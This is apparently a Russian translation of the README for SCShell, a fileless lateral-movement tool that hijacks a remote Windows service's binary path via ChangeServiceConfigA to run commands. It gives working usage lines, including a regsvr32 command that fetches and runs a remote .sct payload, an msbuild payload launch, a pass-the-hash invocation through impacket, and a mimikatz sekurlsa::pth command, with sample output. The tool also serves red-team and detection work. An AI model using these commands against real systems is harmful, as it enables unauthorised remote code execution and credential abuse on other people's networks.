
Безфайловый инструмент для латерального перемещения, который опирается на ChangeServiceConfigA для выполнения команды
SCShell — это безфайловый инструмент для горизонтального перемещения, который использует ChangeServiceConfigA для выполнения команд. Прелесть этого инструмента в том, что он не выполняет аутентификацию через SMB. Всё происходит через DCERPC.
Утилиту можно использовать удалённо БЕЗ регистрации службы или её создания. Также нет необходимости помещать какие-либо файлы на удалённую систему* (зависит от используемой техники выполнения).
Вместо создания службы он просто удалённо открывает службу и изменяет путь к бинарному файлу через API ChangeServiceConfigA.
Затем запускает службу.
После завершения выполнения путь к бинарному файлу службы возвращается к исходному. Исходный путь к службе извлекается с помощью QueryServiceConfigA.
Всё происходит через DCERPC, включая аутентификацию.

Текущая сборка написана на C, но я портирую её на C# и PowerShell.
Usage:
SCShell.exe target service payload domain username password
target можно установить в local для запуска полезной нагрузки локально.
Удалённое выполнение
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor Password
Я рекомендую использовать C:\windows\system32\cmd.exe /c, чтобы полезная нагрузка не была убита после остановки службы. Вы ДОЛЖНЫ использовать полный путь.
Вы также можете использовать полезную нагрузку msbuild
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj" . administrator Password
SCShell ***
Trying to connect to 192.168.197.131
Username was provided attempting to call LogonUserA
SC_HANDLE Manager 0x009ED250
Opening XblAuthManager
SC_HANDLE Service 0x009ED1B0
Service path was changed to C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj
Service was started.
Я использую XblAuthManager в качестве цели, которая является службой управления аксессуарами Xbox.
scshell.py — это реализация SCShell на Python2 и 3. Используя проект impacket, его можно легко использовать для выполнения того же горизонтального перемещения с помощью передачи хэша.
Установка
pip install impacket
Использование
python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Command need to use FULL path. No command output.
SCShell>
Вы можете использовать утилиту C для передачи хэша. По умолчанию будет использоваться токен текущего процесса. Вы можете установить токен текущего процесса, используя стандартный подход передачи хэша.
На локальной системе
sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe
Затем запустите SCShell.exe в новом созданном cmd.exe.
Код был скомпилирован в Windows с использованием компилятора GCC Mingw.
Mr.Un1k0d3r RingZer0 Team
Tazz0 за моральную поддержку